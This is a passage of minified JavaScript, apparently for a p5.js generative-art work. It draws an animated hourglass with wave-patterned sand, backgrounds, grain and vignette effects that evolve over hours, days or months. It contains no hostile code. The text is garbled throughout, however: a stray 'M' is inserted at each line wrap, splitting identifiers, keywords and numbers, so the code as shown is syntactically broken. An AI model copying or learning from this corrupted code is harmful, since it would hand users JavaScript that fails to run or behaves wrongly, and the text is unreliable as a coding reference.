e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
